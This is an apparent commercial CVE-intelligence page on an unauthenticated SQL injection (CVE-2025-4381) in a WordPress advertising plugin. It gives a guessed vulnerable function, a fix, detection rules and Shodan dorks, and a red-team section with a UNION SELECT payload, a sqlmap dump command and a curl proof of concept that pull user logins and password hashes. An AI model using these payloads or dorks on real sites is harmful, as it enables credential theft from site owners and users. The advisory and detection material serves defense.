☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-4381

CVE-2025-4381 SQL Injection in Ads pro plugin
📅 PUBLISHED: 2025-07-02 03:47 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4381 is a critical unauthenticated SQL Injection vulnerability discovered in the Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress, affecting all versions up to and including 4.89. The flaw resides in the getSpace() function, where the $id parameter is insufficiently sanitized and not properly prepared for SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands into existing queries, leading to the extraction of sensitive information from the WordPress database, such as user credentials, session tokens, and private content.

As a WordPress plugin vulnerability, this issue is entirely within the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The plugin's failure to use parameterized queries or proper input validation makes it a prime target for automated scanning and exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a third-party WordPress plugin distributed through the official WordPress plugin repository and potentially other marketplaces. The lack of a patch or official advisory from the vendor increases supply chain risk. Organizations using this plugin should treat it as a compromised component and either apply a virtual patch or remove it until a fix is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

The high confidentiality impact reflects the ability to extract the entire WordPress database, including password hashes and sensitive user data. The low attack complexity and lack of authentication make this a severe threat for unpatched installations.

Deep Dive & Mechanics

The vulnerability exists in the getSpace() function of the Ads Pro plugin. The function accepts a user-supplied $id parameter, which is directly concatenated into an SQL query without proper escaping or parameterization. The vulnerable code path likely resembles:

function getSpace($id) {
    global $wpdb;
    $query = "SELECT * FROM {$wpdb->prefix}ads_spaces WHERE id = $id";
    return $wpdb->get_results($query);
}

Because $id is not sanitized, an attacker can inject SQL commands by providing input such as 1 UNION SELECT user_login, user_pass FROM wp_users. The lack of prepared statements (e.g., $wpdb->prepare()) allows the injection to succeed.

The $id variable is likely derived from a GET or POST parameter, making the attack vector trivial for unauthenticated users. The plugin's failure to use WordPress's built-in database abstraction layer correctly is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.89):

function getSpace($id) {
    global $wpdb;
    $query = "SELECT * FROM {$wpdb->prefix}ads_spaces WHERE id = $id";
    return $wpdb->get_results($query);
}

Patched Code (Hypothetical):

function getSpace($id) {
    global $wpdb;
    $query = $wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}ads_spaces WHERE id = %d",
        intval($id)
    );
    return $wpdb->get_results($query);
}

The patched version uses $wpdb->prepare() with a placeholder (%d) and casts the input to an integer, preventing any SQL injection. Without an official patch, users must implement this fix manually or use a Web Application Firewall (WAF) rule.

Exploitation & Lab Setup

Red Team

Lab Environment:

  • WordPress 6.x with Ads Pro Plugin v4.89
  • Kali Linux attacker machine
  • Burp Suite or curl for HTTP requests

Exploitation Steps:

  1. Identify a vulnerable endpoint that calls getSpace(). This is typically an AJAX action or a shortcode handler. For example, a request to:

    POST /wp-admin/admin-ajax.php
    action=get_space&id=1
    
  2. Inject SQL via the id parameter:

    id=1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users--
    
  3. Use a tool like sqlmap for automated exploitation:

    sqlmap -u "http://target/wp-admin/admin-ajax.php?action=get_space&id=1" --batch --dump
    

Proof-of-Concept (PoC) using curl:

curl -X POST "http://target/wp-admin/admin-ajax.php" \
  -d "action=get_space&id=1 UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users--"

Blue Team

Detection & Response:

  • Monitor for SQL injection patterns in HTTP requests, especially UNION, SELECT, FROM, and -- in the id parameter.
  • Enable WordPress audit logging to track calls to getSpace().
  • Use a WAF to block requests containing SQL keywords in the id parameter.

Honeypot Setup:

  • Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-admin/admin-ajax.php with action=get_space and suspicious id parameters.
    • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File IOCs:
    • Modified wp-config.php or plugin files indicating backdoor insertion.
  • Database IOCs:
    • Unexpected entries in wp_options or wp_users tables.
    • New admin users created by the attacker.

Detection Engineering

YARA Rule

rule CVE_2025_4381_AdsPro_SQLi {
    meta:
        description = "Detects Ads Pro plugin files vulnerable to SQL injection in getSpace()"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-4381"
    strings:
        $func = "function getSpace("
        $unsafe = /\\\$id\s*\)/
        $query = /WHERE id = \$id/
    condition:
        $func and $unsafe and $query
}

Sigma Rule

title: CVE-2025-4381 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the Ads Pro plugin getSpace() function
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=get_space'
        cs-uri-query|contains|all:
            - 'id='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4381 Ads Pro SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_space"; http_client_body; pcre:"/id=.*(UNION|SELECT|FROM|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Apply a virtual patch using a WAF (e.g., ModSecurity rule to block SQL keywords in id parameter).
  3. Review database logs for signs of exploitation.

Long-term Fix:

  • Replace the vulnerable getSpace() function with a parameterized query using $wpdb->prepare().
  • Conduct a full code audit of the plugin for similar vulnerabilities.
  • Monitor the plugin's official page for updates.

Workaround:

  • If the plugin cannot be disabled, restrict access to admin-ajax.php using .htaccess:
    <Files "admin-ajax.php">
        Require all denied
    </Files>
    
    (Note: This may break legitimate AJAX functionality.)

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Ads Pro"
http.html:"adspro-plugin"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4381/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.